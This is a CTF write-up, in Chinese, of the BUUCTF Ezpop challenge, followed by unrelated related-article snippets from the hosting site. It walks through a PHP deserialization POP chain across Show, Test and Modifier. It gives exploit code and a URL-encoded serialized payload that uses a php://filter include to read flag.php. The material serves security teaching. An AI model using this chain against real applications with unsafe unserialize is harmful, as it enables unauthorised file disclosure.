BUUCTF [MRCTF2020]Ezpop解題思路

題目代碼

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

前置知識

php魔術方法:

  • __call() : 在對象中調用一個不可訪問方法時, __call() 會被調用
  • __toString: 將對象當作一個字符串輸出的時候
  • __wakeup: 反序列化時被調用
  • __invoke: 當一個對象被作為函數調用時被調用
  • __get: 當對象訪問一個不存在的屬性時調用
  • __construct:創建對象時調用

序列化只會保存對象的屬性對應的值

分析

這里找到危險參數 ,發現在 Modifier 對象中

public function __invoke(){$this->append($this->var);}

我們順著這個魔術方法找哪里調用了變量函數
Test對象中

public function __get($key){$function = $this->p;return $function();}

再順著這個魔術方法的調用條件找哪里訪問了Test對象中沒有的變量

    public function __toString(){return $this->str->source;}

我們找到了Show對象嗎,只要我們將str變量設置為Test對象,那么就能觸發這個利用鏈

再找到輸出變量的地方

$this->source

在Show對象中,如果我們將source設置為Show對象,那么就等于將該對象當作字符串進行訪問從而觸發 __tostring方法

``

EXP


<?php
class Modifier
{protected  $var;function __construct($var){$this->var = $var;}
}class Show
{public $source = 0;public $str = 0;}class Test
{public $p;
}$data = "php://filter/read=convert.base64-encode/resource=flag.php";   # 最終這里被include$m = new Modifier($data);$t = new Test();
$t->p = $m ;$s1 = new Show();
$s2 = new Show();$s2->str = $t;
$s1->source = $s2;echo urlencode(serialize($s1));

最終我們include(“php://filter/read=convert.base64-encode/resource=flag.php”)即可讀取flag.php文件從而拿到flag

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39304.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39304.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39304.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

運維監控學習筆記7

Zabbix的安裝&#xff1a; 1、基礎環境準備&#xff1a; 安裝zabbix的yum源&#xff0c;阿里的yum源提供了zabbix3.0。 rpm -ivh http://mirrors.aliyun.com/zabbix/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm 這個文件就是生成了一個zabbix.repo 2、安…

流程挖掘in汽車丨寶馬的流程效能提升實例

汽車行業在未來10年里&#xff0c;可能會面臨比過去50年更多的變化。電動化、智能化、共享化和自動駕駛等方面的趨勢可能給企業流程帶來以下挑戰&#xff1a; 供應鏈管理-電動化和智能化的發展可能導致供應鏈中的零部件和系統結構發生變化&#xff0c;企業需要重新評估和優化供…

zookeeperAPI操作與寫數據原理

要執行API操作需要在idea中創建maven項目 &#xff08;改成自己的阿里倉庫&#xff09;導入特定依賴 添加日志文件 上邊操作做成后就可以進行一些API的實現了 目錄 導入maven依賴&#xff1a; 創建日志文件&#xff1a; 創建API客戶端&#xff1a; &#xff08;1&#xff09…

Springboot 實踐(5)springboot添加資源訪問目錄及目錄測試

前文講解了swagger測試服務控制器&#xff0c;實現了數據庫數據訪問&#xff0c;這些功能都是運行在后臺服務器上&#xff0c;實際用戶并不能直接調用接口獲取數據&#xff0c;即使用戶能夠利用接口獲取到數據&#xff0c;數據也是結構化數據&#xff0c;不能爭取轉化成用戶使用…

基于OFDM+64QAM系統的載波同步matlab仿真,輸出誤碼率,星座圖,鑒相器,鎖相環頻率響應以及NCO等

目錄 1.算法運行效果圖預覽 2.算法運行軟件版本 3.部分核心程序 4.算法理論概述 2.1 OFDM原理 2.2 64QAM調制 2.3 載波同步 5.算法完整程序工程 1.算法運行效果圖預覽 2.算法運行軟件版本 MATLAB2022a 3.部分核心程序 ............................................…

【從零學習python 】31.深入理解Python中的高階函數和閉包

文章目錄 高階函數定義一個變量指向函數高階函數函數做為另一個函數的參數函數作為另一個函數的返回值 閉包函數嵌套什么是閉包修改外部變量的值原因分析解決方案 進階案例 高階函數 在Python中&#xff0c;函數其實也是一種數據類型。 def test():return hello worldprint(t…

NestJs 中使用 mongoose

在 NestJS 中鏈接 MongoDB 有兩種方法。一種方法就是使用TypeORM來進行連接&#xff0c;另外一種方法就是使用Mongoose。 此筆記主要是記錄使用Mongoose的。所以我們先安裝所需的依賴&#xff1a; npm i nestjs/mongoose mongoose安裝完成后&#xff0c;需要在AppModule中引入…

SpringBoot后端服務開啟Https協議提供訪問(使用阿里云資源)

目錄 概述 申請/下載證書 部署證書 本地測試訪問 服務器部署訪問 最后/擴展 總結 概述 本篇博客說明如何將SpringBoot項目開啟Https協議提供訪問。 博文以步驟【申請/下載證書】&#xff0c;【部署證書】&#xff0c;【本地測試訪問】&#xff0c;【服務器部署訪問】 &a…

SIP/VoIP之常見的視頻問題

除了語音通話外&#xff0c;視頻通話也是SIP協議通話中重要的功能&#xff0c;在實際應用中&#xff0c;經常會遇到一些視頻問題&#xff0c;如下&#xff08;以h264為例&#xff09; 一、 己方未顯示對方視頻圖像 排查方法&#xff1a; 查看網絡抓包中有沒有發給已方的視頻…

LORA開發板采集溫濕度數據,連接PC上位機顯示和液晶屏顯示

一、準備材料 準備以下板子和器件 Lora開發板x2 USB數據線x2 OLED 屏幕x2 StLink下載器x1 母對母杜邦線x3 DHT11 x2 二、設備連接 如圖所示先將OLED 屏幕插入到開發板中 接著按照圖中所示的&#xff0c;將串口一以及lora的撥碼開關撥到指定方向 接著將USB數據線一端插入到…

SQL Server用sql語句添加列,添加列注釋

SQL Server用sql語句添加列&#xff0c;添加列注釋 微軟文檔&#xff1a; https://learn.microsoft.com/zh-cn/sql/relational-databases/tables/add-columns-to-a-table-database-engine?viewsql-server-ver15 alter table article add RedirectURL varchar(600) nu…

(七)Unity VR項目升級至Vision Pro需要做的工作

Vision Pro 概述 定位為混合現實眼鏡&#xff0c;對AR支持更友好 無手柄&#xff0c;支持手&#xff08;手勢&#xff09;、眼&#xff08;注視&#xff09;、語音交互 支持空間音頻&#xff0c;相比立體聲、環繞聲更有沉浸感和空間感 支持VR/AR應用&#xff0c;支持多種應用模…

八字精批API接口

接口平臺&#xff1a;https://api.yuanfenju.com/ 開發文檔&#xff1a;https://doc.yuanfenju.com/ 支持格式&#xff1a;JSON 請求方式&#xff1a;HTTP POST <?php//密鑰 $api_secret "wD******XhOUW******pvr"; //請求網關 $gateway_host_url "ht…

FPGA應用學習筆記-----復位電路(二)和小結

不可復位觸發器若和可復位觸發器混合寫的話&#xff0c;不可復位觸發器是由可復位觸發器饋電的。 不應該出現的復位&#xff0c;因為延時導致了冒險&#xff0c;異步復位存在靜態冒險 附加素隱含項&#xff0c;利用數電方法&#xff0c;消除靜態冒險 這樣多時鐘區域還是算異步的…

【Docker】如何在設計 dockerfile 過程中,設置容器啟動后的定時任務

如何在設計 dockerfile 過程中&#xff0c;設置容器啟動后的定時任務 jwensh 2023.08.14 文章目錄 如何在設計 dockerfile 過程中&#xff0c;設置容器啟動后的定時任務1. 基于 alpine 設計 dockerfile 過程中&#xff0c;設置容器啟動后的定時任務2. 基于 CentOS 設計 Dockerf…

深度學習實戰基礎案例——卷積神經網絡(CNN)基于SqueezeNet的眼疾識別|第1例

文章目錄 前言一、數據準備1.1 數據集介紹1.2 數據集文件結構 二、項目實戰2.1 數據標簽劃分2.2 數據預處理2.3 構建模型2.4 開始訓練2.5 結果可視化 三、數據集個體預測 前言 SqueezeNet是一種輕量且高效的CNN模型&#xff0c;它參數比AlexNet少50倍&#xff0c;但模型性能&a…

Linkedin為什么要退出中國市場?

在迅速發展的時代,職場也在不斷變換,只有不斷地提升專業技能和進行培訓,才能在職場中獲得成功。Linkedin作為一家專注于職業發展的平臺,專業的學習體驗以及熱門技能贏得了人們青睞。然而遺憾的是這個曾經讓人備受青睞的平臺,如今卻在中國市場中黯然落幕,究竟是何種原因讓曾經風…

大數據Flink(六十一):Flink流處理程序流程和項目準備

文章目錄 Flink流處理程序流程和項目準備 一、Flink流處理程序的一般流程

Springboot 設置統一的請求返回格式

現在開發過程中主要采用前后端分離的方式進行開發測試&#xff0c;也就是前端封裝請求&#xff0c;后端提供標準的API接口服務。一般現在json 格式受到開發者們的青睞&#xff0c;學習過程中我們可以設置接口的返回類型&#xff0c;那么怎么做到設置統一的返回格式呢&#xff1…

數據在內存中的存儲(二進制形式存儲)

計算機要處理的信息是多種多樣的&#xff0c;如數字、文字、符號、圖形、音頻、視頻等&#xff0c;這些信息在人們的眼里是不同的。但對于計算機來說&#xff0c;它們在內存中都是一樣的&#xff0c;都是以二進制的形式來表示。 要想學習編程&#xff0c;就必須了解二進制&…